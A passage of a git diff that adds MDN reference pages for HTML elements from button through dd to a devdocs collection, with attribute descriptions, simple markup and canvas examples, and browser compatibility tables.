# the-button-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
button1121Yes≤15≤44.4184≤14≤3.21.0
autocompleteNoNo4NoNoNoNoNo4NoNoNo
disabled1121Yes15≤44.418414≤3.21.0
form9164No155.14.41841451.0
formaction912410155.137184No51.0
formenctype91241010.65.1371841151.0
formmethod912410155.1371841451.0
formnovalidate9124Yes155.14.41841451.0
formtarget9124Yes155.14.41841451.0
name1121Yes15≤44.418414≤3.21.0
type1121Yes15≤44.418414≤3.21.0
value1121Yes15≤44.418414≤3.21.0
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button +

+
diff --git a/devdocs/html/element%2Fcanvas.html b/devdocs/html/element%2Fcanvas.html new file mode 100644 index 00000000..57d06799 --- /dev/null +++ b/devdocs/html/element%2Fcanvas.html @@ -0,0 +1,163 @@ +

<canvas>: The Graphics Canvas element

+

Use the <canvas> with either the canvas scripting API or the WebGL API to draw graphics and animations.

Content categories Flow content, phrasing content, embedded content, palpable content.
Permitted content Transparent but with no interactive content descendants except for <a> elements, <button> elements, <input> elements whose type attribute is checkbox, radio, or button.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role No corresponding role
Permitted ARIA roles Any
DOM interface HTMLCanvasElement
+
+

Attributes

+
+

This element's attributes include the global attributes.

height

The height of the coordinate space in CSS pixels. Defaults to 150.

+moz-opaque +

Lets the canvas know whether translucency will be a factor. If the canvas knows there's no translucency, painting performance can be optimized. This is only supported by Mozilla-based browsers; use the standardized canvas.getContext('2d', { alpha: false }) instead.

width

The width of the coordinate space in CSS pixels. Defaults to 300.

+
+

Usage notes

+ +

Alternative content

+

You should provide alternate content inside the <canvas> block. That content will be rendered both on older browsers that don't support canvas and in browsers with JavaScript disabled.

+

Closing </canvas> tag

+

Unlike the <img> element, the <canvas> element requires the closing tag (</canvas>).

+

Sizing the canvas using CSS versus HTML

+
+

The displayed size of the canvas can be changed using CSS, but if you do this the image is scaled during rendering to fit the styled size, which can make the final graphics rendering end up being distorted.

It is better to specify your canvas dimensions by setting the width and height attributes directly on the <canvas> elements, either directly in the HTML or by using JavaScript.

+
+

Maximum canvas size

+
+

The maximum size of a <canvas> element is very large, but the exact size depends on the browser. The following is some data we've collected from various tests and other sources (e.g. Stack Overflow):

Browser Maximum height Maximum width Maximum area
Chrome 32,767 pixels 32,767 pixels 268,435,456 pixels (i.e., 16,384 x 16,384)
Firefox 32,767 pixels 32,767 pixels 472,907,776 pixels (i.e., 22,528 x 20,992)
Safari 32,767 pixels 32,767 pixels 268,435,456 pixels (i.e., 16,384 x 16,384)
IE 8,192 pixels 8,192 pixels ?

Note: Exceeding the maximum dimensions or area renders the canvas unusable — drawing commands will not work.

+
+

Using an offscreen canvas

+

A canvas can be rendered using the OffscreenCanvas API where the document and canvas are decoupled. The benefit is that a worker thread can handle canvas rendering and the main thread of your web application is not blocked by canvas operations. By parallelizing work, other UI elements of your web application will remain responsive even if you are running complex graphics on an offscreen canvas. For more information, see the OffscreenCanvas API documentation.

+

Examples

+ +

HTML

+
+

This code snippet adds a canvas element to your HTML document. A fallback text is provided if a browser is unable to read or render the canvas.

+

html

+
<canvas width="120" height="120">
+  An alternative text describing what your canvas displays.
+</canvas>
+
+
+
+

JavaScript

+
+

Then in the JavaScript code, call HTMLCanvasElement.getContext() to get a drawing context and start drawing onto the canvas:

+

js

+
const canvas = document.querySelector("canvas");
+const ctx = canvas.getContext("2d");
+ctx.fillStyle = "green";
+// Add a rectangle at (10, 10) with size 100x100 pixels
+ctx.fillRect(10, 10, 100, 100);
+
+
+
+

Result

+
+ + +
+

Accessibility concerns

+ +

Alternative content

+
+

The <canvas> element on its own is just a bitmap and does not provide information about any drawn objects. Canvas content is not exposed to accessibility tools as semantic HTML is. In general, you should avoid using canvas in an accessible website or app. The following guides can help to make it more accessible.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-canvas-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
canvas112
1.5["Before Firefox 5, the canvas width and height were signed integers instead of unsigned integers.", "Before Firefox 6, a <canvas> element with a zero width or height would be rendered as if it had default dimensions.", "Before Firefox 12, if JavaScript is disabled, the <canvas> element was being rendered instead of showing the fallback content as per the specification. Since then, the fallback content is rendered instead."]
99
2Although early versions of Apple's Safari browser don't require the closing tag, the specification indicates that it is required, so you should be sure to include it for broadest compatibility. Before version 2, Safari will render the content of the fallback in addition to the canvas itself unless you use CSS tricks to mask it.
3718
4["Before Firefox 5, the canvas width and height were signed integers instead of unsigned integers.", "Before Firefox 6, a <canvas> element with a zero width or height would be rendered as if it had default dimensions.", "Before Firefox 12, if JavaScript is disabled, the <canvas> element was being rendered instead of showing the fallback content as per the specification. Since then, the fallback content is rendered instead."]
10.111.0
height112
1.5["Before Firefox 5, the canvas width and height were signed integers instead of unsigned integers.", "Before Firefox 6, a <canvas> element with a zero width or height would be rendered as if it had default dimensions.", "Before Firefox 12, if JavaScript is disabled, the <canvas> element was being rendered instead of showing the fallback content as per the specification. Since then, the fallback content is rendered instead."]
99
2Although early versions of Apple's Safari browser don't require the closing tag, the specification indicates that it is required, so you should be sure to include it for broadest compatibility. Before version 2, Safari will render the content of the fallback in addition to the canvas itself unless you use CSS tricks to mask it.
3718
4["Before Firefox 5, the canvas width and height were signed integers instead of unsigned integers.", "Before Firefox 6, a <canvas> element with a zero width or height would be rendered as if it had default dimensions.", "Before Firefox 12, if JavaScript is disabled, the <canvas> element was being rendered instead of showing the fallback content as per the specification. Since then, the fallback content is rendered instead."]
10.111.0
moz-opaqueNoNo3.5NoNoNoNoNo4NoNoNo
width112
1.5["Before Firefox 5, the canvas width and height were signed integers instead of unsigned integers.", "Before Firefox 6, a <canvas> element with a zero width or height would be rendered as if it had default dimensions.", "Before Firefox 12, if JavaScript is disabled, the <canvas> element was being rendered instead of showing the fallback content as per the specification. Since then, the fallback content is rendered instead."]
99
2Although early versions of Apple's Safari browser don't require the closing tag, the specification indicates that it is required, so you should be sure to include it for broadest compatibility. Before version 2, Safari will render the content of the fallback in addition to the canvas itself unless you use CSS tricks to mask it.
3718
4["Before Firefox 5, the canvas width and height were signed integers instead of unsigned integers.", "Before Firefox 6, a <canvas> element with a zero width or height would be rendered as if it had default dimensions.", "Before Firefox 12, if JavaScript is disabled, the <canvas> element was being rendered instead of showing the fallback content as per the specification. Since then, the fallback content is rendered instead."]
10.111.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/canvas +

+
diff --git a/devdocs/html/element%2Fcaption.html b/devdocs/html/element%2Fcaption.html new file mode 100644 index 00000000..793768c2 --- /dev/null +++ b/devdocs/html/element%2Fcaption.html @@ -0,0 +1,116 @@ +

<caption>: The Table Caption element

The <caption> HTML element specifies the caption (or title) of a table.

+

Try it

+
+

Attributes

+

This element includes the global attributes.

+

Deprecated attributes

+
+

The following attributes are deprecated and should not be used. They are documented below for reference when updating existing code and for historical interest only.

+align +

This enumerated attribute indicates how the caption must be aligned with respect to the table. It may have one of the following values:

left

The caption is displayed to the left of the table.

top

The caption is displayed above the table.

The caption is displayed to the right of the table.

bottom

The caption is displayed below the table.

Warning: Do not use this attribute, as it has been deprecated. The <caption> element should be styled using the CSS properties caption-side and text-align.

+
+

Usage notes

+
+

If used, the <caption> element must be the first child of its parent <table> element.

When the <table> element that contains the <caption> is the only descendant of a <figure> element, you should use the <figcaption> element instead of <caption>.

A background-color on the table will not include the caption. Add a background-color to the <caption> element as well if you want the same color to be behind both.

+
+

Example

+
+

This simple example presents a table that includes a caption.

+

html

+
<table>
+  <caption>
+    Example Caption
+  </caption>
+  <tr>
+    <th>Login</th>
+    <th>Email</th>
+  </tr>
+  <tr>
+    <td>user1</td>
+    <td>user1@sample.com</td>
+  </tr>
+  <tr>
+    <td>user2</td>
+    <td>user2@sample.com</td>
+  </tr>
+</table>
+
+
+
+ + +
+
+

Technical summary

+
Content categories None.
Permitted content +Flow content.
Tag omission The end tag can be omitted if the element is not immediately followed by ASCII whitespace or a comment.
Permitted parents A <table> element, as its first descendant.
Implicit ARIA role caption
Permitted ARIA roles No role permitted
DOM interface HTMLTableCaptionElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-caption-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
caption1121Yes15≤44.418414≤3.21.0
align1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/caption +

+
diff --git a/devdocs/html/element%2Fcenter.html b/devdocs/html/element%2Fcenter.html new file mode 100644 index 00000000..e308f3b3 --- /dev/null +++ b/devdocs/html/element%2Fcenter.html @@ -0,0 +1,86 @@ +

<center>: The Centered Text element

+

Deprecated: This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

The <center> HTML element is a block-level element that displays its block-level or inline contents centered horizontally within its containing element. The container is usually, but isn't required to be, <body>.

This tag has been deprecated in HTML 4 (and XHTML 1) in favor of the CSS text-align property, which can be applied to the <div> element or to an individual <p>. For centering blocks, use other CSS properties like margin-left and margin-right and set them to auto (or set margin to 0 auto).

+
+

DOM interface

+

This element implements the HTMLElement interface.

+

Example 1

+
+

html

+
<center>
+  This text will be centered.
+  <p>So will this paragraph.</p>
+</center>
+
+
+

Example 2 (CSS alternative)

+
+

html

+
<div style="text-align:center">
+  This text will be centered.
+  <p>So will this paragraph.</p>
+</div>
+
+
+

Example 3 (CSS alternative)

+
+

html

+
<p style="text-align:center">
+  This line will be centered.<br />
+  And so will this line.
+</p>
+
+
+

Note

+

Applying text-align:center to a <div> or <p> element centers the contents of those elements while leaving their overall dimensions unchanged.

+

Specifications

+
+ + +
Specification
HTML Standard
# center
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
center112
1Before Firefox 4, this element implemented the HTMLSpanElement interface instead of the standard HTMLElement interface.
Yes15≤44.418
4Before Firefox 4, this element implemented the HTMLSpanElement interface instead of the standard HTMLElement interface.
14≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/center +

+
diff --git a/devdocs/html/element%2Fcite.html b/devdocs/html/element%2Fcite.html new file mode 100644 index 00000000..040adf98 --- /dev/null +++ b/devdocs/html/element%2Fcite.html @@ -0,0 +1,75 @@ +

<cite>: The Citation element

The <cite> HTML element is used to mark up the title of a cited creative work. The reference may be in an abbreviated form according to context-appropriate conventions related to citation metadata.

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

In the context of the <cite> element, a creative work that might be cited could be, for example, one of the following:

To include a reference to the source of quoted material which is contained within a <blockquote> or <q> element, use the cite attribute on the element.

Typically, browsers style the contents of a <cite> element in italics by default. To avoid this, apply the CSS font-style property to the <cite> element.

+
+

Examples

+
+

html

+
<p>More information can be found in <cite>[ISO-0000]</cite>.</p>
+
+
+

Result

+
+ + +
+

Technical summary

+
Content categories Flow content, phrasing content, palpable content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role No corresponding role
Permitted ARIA roles Any
DOM interface HTMLElement Up to Gecko 1.9.2 (Firefox 4) inclusive, Firefox implements the HTMLSpanElement interface for this element.
+

Specifications

+
+ + +
Specification
HTML Standard
# the-cite-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
cite1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/cite +

+
diff --git a/devdocs/html/element%2Fcode.html b/devdocs/html/element%2Fcode.html new file mode 100644 index 00000000..aa9e7192 --- /dev/null +++ b/devdocs/html/element%2Fcode.html @@ -0,0 +1,80 @@ +

<code>: The Inline Code element

The <code> HTML element displays its contents styled in a fashion intended to indicate that the text is a short fragment of computer code. By default, the content text is displayed using the user agent's default monospace font.

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Examples

+
+

A paragraph of text that includes <code>:

+

html

+
<p>
+  The function <code>selectAll()</code> highlights all the text in the input
+  field so the user can, for example, copy or delete the text.
+</p>
+
+
+
+

Result

+
+ + +
+

Notes

+
+

To represent multiple lines of code, wrap the <code> element within a <pre> element. The <code> element by itself only represents a single phrase of code or line of code.

A CSS rule can be defined for the code selector to override the browser's default font face. Preferences set by the user might take precedence over the specified CSS.

+
+

Technical summary

+
Content categories Flow content, phrasing content, palpable content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role code
Permitted ARIA roles Any
DOM interface HTMLElement Up to Gecko 1.9.2 (Firefox 4) inclusive, Firefox implements the HTMLSpanElement interface for this element.
+

Specifications

+
+ + +
Specification
HTML Standard
# the-code-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
code1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/code +

+
diff --git a/devdocs/html/element%2Fcol.html b/devdocs/html/element%2Fcol.html new file mode 100644 index 00000000..a5e93c76 --- /dev/null +++ b/devdocs/html/element%2Fcol.html @@ -0,0 +1,195 @@ +

<col>: The Table Column element

The <col> HTML element defines a column within a table and is used for defining common semantics on all common cells. It is generally found within a <colgroup> element.

+

Try it

+
+

<col> allows styling columns using CSS, but only a few properties will have an effect on the column (see the CSS 2.1 specification for a list).

+
+

Attributes

+
+

This element includes the global attributes.

span

This attribute contains a positive integer indicating the number of consecutive columns the <col> element spans. If not present, its default value is 1.

+
+

Deprecated attributes

+
+

The following attributes are deprecated and should not be used. They are documented below for reference when updating existing code and for historical interest only.

+align +

This enumerated attribute specifies how horizontal alignment of each column cell content will be handled. Possible values are:

  • +left, aligning the content to the left of the cell
  • +center, centering the content in the cell
  • +right, aligning the content to the right of the cell
  • +justify, inserting spaces into the textual content so that the content is justified in the cell

If this attribute is not set, its value is inherited from the align of the <colgroup> element this <col> element belongs too. If there are none, the left value is assumed.

Note: To achieve the same effect as the left, center, right or justify values, do not try to set the text-align property on a selector giving a <col> element. Because <td> elements are not descendant of the <col> element, they won't inherit it.

If the table doesn't use a colspan attribute, use the td:nth-child(an+b) CSS selector. Set a to zero and b to the position of the column in the table, e.g. td:nth-child(2) { text-align: right; } to right-align the second column.

If the table does use a colspan attribute, the effect can be achieved by combining adequate CSS attribute selectors like [colspan=n], though this is not trivial.

+bgcolor +

The background color of the table. It is a 6-digit hexadecimal RGB code, prefixed by a '#'. One of the predefined color keywords can also be used.

To achieve a similar effect, use the CSS background-color property.

+char +

This attribute sets the character to align the cells in a column on. Typical values for this include a period (.) when attempting to align numbers or monetary values. If align is not set to char, this attribute is ignored.

+charoff +

This attribute is used to indicate the number of characters to offset the column data from the alignment characters specified by the char attribute.

+valign +

This attribute specifies the vertical alignment of the text within each cell of the column. Possible values for this attribute are:

  • +baseline, which will put the text as close to the bottom of the cell as it is possible, but align it on the baseline of the characters instead of the bottom of them. If characters are all of the size, this has the same effect as bottom.
  • +bottom, which will put the text as close to the bottom of the cell as it is possible;
  • +middle, which will center the text in the cell;
  • and top, which will put the text as close to the top of the cell as it is possible.

Note: Do not try to set the vertical-align property on a selector giving a <col> element. Because <td> elements are not descendant of the <col> element, they won't inherit it.

If the table doesn't use a colspan attribute, use the td:nth-child(an+b) CSS selector where 'a' is the total number of the columns in the table and 'b' is the ordinal position of the column in the table. Only after this selector the vertical-align property can be used.

If the table does use a colspan attribute, the effect can be achieved by combining adequate CSS attribute selectors like [colspan=n], though this is not trivial.

+width +

This attribute specifies a default width for each column in the current column group. In addition to the standard pixel and percentage values, this attribute might take the special form 0*, which means that the width of each column in the group should be the minimum width necessary to hold the column's contents. Relative widths such as 5* also can be used.

+
+

Examples

+

Please see the <table> page for examples on <col>.

+

Technical summary

+
Content categories None.
Permitted content None; it is a void element.
Tag omission It must have start tag, but must not have an end tag.
Permitted parents <colgroup> only, though it can be implicitly defined as its start tag is not mandatory. The <colgroup> must not have a span attribute.
Implicit ARIA role No corresponding role
Permitted ARIA roles No role permitted
DOM interface HTMLTableColElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-col-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
col1121Yes15≤44.418414≤3.21.0
align1121Yes1534.41841421.0
bgcolor1121Yes1514.41841411.0
char112NoYes1534.418No1421.0
charoff112NoYes1534.418No1421.0
span1121Yes15≤44.418414≤3.21.0
valign1121Yes1534.41841421.0
width1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/col +

+
diff --git a/devdocs/html/element%2Fcolgroup.html b/devdocs/html/element%2Fcolgroup.html new file mode 100644 index 00000000..59269436 --- /dev/null +++ b/devdocs/html/element%2Fcolgroup.html @@ -0,0 +1,192 @@ +

<colgroup>: The Table Column Group element

The <colgroup> HTML element defines a group of columns within a table.

+

Try it

+
+

Attributes

+
+

This element's attributes include the global attributes.

span

This attribute contains a positive integer indicating the number of consecutive columns the <colgroup> element spans. If not present, its default value is 1.

The span attribute is not permitted if there are one or more <col> elements within the <colgroup>.

+
+

Deprecated attributes

+
+

The following attributes are deprecated and should not be used. They are documented below for reference when updating existing code and for historical interest only.

+align +

This enumerated attribute specifies how horizontal alignment of each column cell content will be handled. Possible values are:

  • +left, aligning the content to the left of the cell
  • +center, centering the content in the cell
  • +right, aligning the content to the right of the cell
  • +justify, inserting spaces into the textual content so that the content is justified in the cell
  • +char, aligning the textual content on a special character with a minimal offset, defined by the char and charoff attributes.

If this attribute is not set, the left value is assumed. The descendant <col> elements may override this value using their own align attribute.

Note: Do not try to set the text-align property on a selector giving a <colgroup> element. Because <td> elements are not descendant of the <colgroup> element, they won't inherit it.

If the table doesn't use a colspan attribute, use one td:nth-child(an+b) CSS selector per column, where 'a' is the total number of the columns in the table and 'b' is the ordinal position of this column in the table. Only after this selector the text-align property can be used.

If the table does use a colspan attribute, the effect can be achieved by combining adequate CSS attribute selectors like [colspan=n], though this is not trivial.

+bgcolor +

The background color of the table. It is a 6-digit hexadecimal RGB code, prefixed by a '#'. One of the predefined color keywords can also be used.

To achieve a similar effect, use the CSS background-color property.

+char +

This attribute specifies the alignment of the content in a column group to a character. Typical values for this include a period (.) when attempting to align numbers or monetary values. If align is not set to char, this attribute is ignored, though it will still be used as the default value for the align of the <col> which are members of this column group.

+charoff +

This attribute is used to indicate the number of characters to offset the column data from the alignment character specified by the char attribute.

+valign +

This attribute specifies the vertical alignment of the text within each cell of the column. Possible values for this attribute are:

  • +baseline, which will put the text as close to the bottom of the cell as it is possible, but align it on the baseline of the characters instead of the bottom of them. If characters are all of the size, this has the same effect as bottom.
  • +bottom, which will put the text as close to the bottom of the cell as it is possible;
  • +middle, which will center the text in the cell;
  • and top, which will put the text as close to the top of the cell as it is possible.

Note: Do not try to set the vertical-align property on a selector giving a <colgroup> element. Because <td> elements are not descendant of the <colgroup> element, they won't inherit it.

If the table doesn't use a colspan attribute, use the td:nth-child(an+b) CSS selector per column, where 'a' is the total number of the columns in the table and 'b' is the ordinal position of the column in the table. Only after this selector the vertical-align property can be used.

If the table does use a colspan attribute, the effect can be achieved by combining adequate CSS attribute selectors like [colspan=n], though this is not trivial.

+
+

Examples

+

Please see the <table> page for examples on <colgroup>.

+

Technical summary

+
Content categories None.
Permitted content If the span attribute is present: none.
If the attribute is not present: zero or more <col> element
Tag omission The start tag may be omitted, if it has a <col> element as its first child and if it is not preceded by a <colgroup> whose end tag has been omitted.
The end tag may be omitted, if it is not followed by a space or a comment.
Permitted parents A <table> element. The <colgroup> must appear after any optional <caption> element but before any <thead>, <th>, <tbody>, <tfoot> and <tr> element.
Implicit ARIA role No corresponding role
Permitted ARIA roles No role permitted
DOM interface HTMLTableColElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-colgroup-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
colgroup1121Yes15≤44.418414≤3.21.0
align1121Yes1534.41841421.0
bgcolor1121Yes1514.41841411.0
char112NoYes1534.418No1421.0
charoff112NoYes1534.418No1421.0
span1121Yes15≤44.418414≤3.21.0
valign1121Yes1534.41841421.0
width1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/colgroup +

+
diff --git a/devdocs/html/element%2Fdata.html b/devdocs/html/element%2Fdata.html new file mode 100644 index 00000000..c3adf645 --- /dev/null +++ b/devdocs/html/element%2Fdata.html @@ -0,0 +1,80 @@ +

<data>: The Data element

The <data> HTML element links a given piece of content with a machine-readable translation. If the content is time- or date-related, the <time> element must be used.

+

Try it

+
+
Content categories Flow content, phrasing content, palpable content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role generic
Permitted ARIA roles Any
DOM interface HTMLDataElement
+
+

Attributes

+
+

This element's attributes include the global attributes.

value

This attribute specifies the machine-readable translation of the content of the element.

+
+

Examples

+
+

The following example displays product names but also associates each name with a product number.

+

html

+
<p>New Products</p>
+<ul>
+  <li><data value="398">Mini Ketchup</data></li>
+  <li><data value="399">Jumbo Ketchup</data></li>
+  <li><data value="400">Mega Jumbo Ketchup</data></li>
+</ul>
+
+
+
+

Result

+
+ + +
+

Specifications

+
+ + +
Specification
HTML Standard
# the-data-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
data62≤1822No491062622246108.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/data +

+
diff --git a/devdocs/html/element%2Fdatalist.html b/devdocs/html/element%2Fdatalist.html new file mode 100644 index 00000000..fd4fe195 --- /dev/null +++ b/devdocs/html/element%2Fdatalist.html @@ -0,0 +1,159 @@ +

<datalist>: The HTML Data List element

The <datalist> HTML element contains a set of <option> elements that represent the permissible or recommended options available to choose from within other controls.

+

Try it

+
+

To bind the <datalist> element to the control, we give it a unique identifier in the id attribute, and then add the list attribute to the <input> element with the same identifier as value. Only certain types of <input> support this behavior, and it can also vary from browser to browser.

Note: The <option> element can store a value as internal content and in the value and label attributes. Which one will be visible in the drop-down menu depends on the browser, but when clicked, content entered into control field will always come from the value attribute.

+
+

Attributes

+

This element has no other attributes than the global attributes, common to all elements.

+

Examples

+ +

Textual types

+
+

Recommended values in types text, search, url, tel, email and number, are displayed in a drop-down menu when user clicks or double-clicks on the control. Typically the right side of a control will also have an arrow pointing to the presence of predefined values.

+

html

+
<label for="myBrowser">Choose a browser from this list:</label>
+<input list="browsers" id="myBrowser" name="myBrowser" />
+<datalist id="browsers">
+  <option value="Chrome"></option>
+  <option value="Firefox"></option>
+  <option value="Opera"></option>
+  <option value="Safari"></option>
+  <option value="Microsoft Edge"></option>
+</datalist>
+
+
+
+ + +
+
+

Date and Time types

+
+

The types month, week, date, time and datetime-local can show an interface that allows a convenient selection of a date and time. Predefined values can be shown there, allowing the user to quickly fill the control value.

Note: When type is not supported, text type creating simple text field will be used instead. That field will correctly recognize recommended values and display them to the user in a drop-down menu.

+

html

+
<input type="time" list="popularHours" />
+<datalist id="popularHours">
+  <option value="12:00"></option>
+  <option value="13:00"></option>
+  <option value="14:00"></option>
+</datalist>
+
+
+
+ + +
+
+

Range type

+
+

The recommended values in the range type will be shown as series of hash marks that the user can easily select.

+

html

+
<label for="tick">Tip amount:</label>
+<input type="range" list="tickmarks" min="0" max="100" id="tick" name="tick" />
+<datalist id="tickmarks">
+  <option value="0"></option>
+  <option value="10"></option>
+  <option value="20"></option>
+  <option value="30"></option>
+</datalist>
+
+
+
+ + +
+
+

Color type

+
+

The color type can show predefined colors in a browser-provided interface.

+

html

+
<label for="colors">Pick a color (preferably a red tone):</label>
+<input type="color" list="redColors" id="colors" />
+<datalist id="redColors">
+  <option value="#800000"></option>
+  <option value="#8B0000"></option>
+  <option value="#A52A2A"></option>
+  <option value="#DC143C"></option>
+</datalist>
+
+
+
+ + +
+
+

Password type

+
+

The specification allows linking <datalist> with a password type, but no browser supports it for security reasons.

+

html

+
<label for="pwd">Enter a password:</label>
+<input type="password" list="randomPassword" id="pwd" />
+<datalist id="randomPassword">
+  <option value="5Mg[_3DnkgSu@!q#"></option>
+</datalist>
+
+
+
+ + +
+
+

Technical summary

+
Content categories Flow content, phrasing content.
Permitted content Either phrasing content or zero or more <option> elements.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role listbox
Permitted ARIA roles No role permitted
DOM interface HTMLDataListElement
+

Accessibility concerns

+
+

When deciding to use the <datalist> element, here are some accessibility issues to be mindful of:

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-datalist-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
datalist2012
4The <datalist> element will only create a dropdown for textual types, such as text, search, url, tel, email and number. The date, time, range and color types are not supported.
109.512.14.4.333 +
79The dropdown menu containing available options does not appear. See bug 1535985.
4–79		2012.22.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/datalist +

+
diff --git a/devdocs/html/element%2Fdd.html b/devdocs/html/element%2Fdd.html new file mode 100644 index 00000000..b17e672f --- /dev/null +++ b/devdocs/html/element%2Fdd.html @@ -0,0 +1,83 @@ +

<dd>: The Description Details element

The <dd> HTML element provides the description, definition, or value for the preceding term (<dt>) in a description list (<dl>).

+

Try it

+
+

Attributes

+
+

This element's attributes include the global attributes.

+nowrap +

If the value of this attribute is set to yes, the definition text will not wrap. The default value is no.

+
+

Examples

+

For examples, see the examples provided for the <dl> element.

+

Technical summary

+
Content categories None.
Permitted content +Flow content.
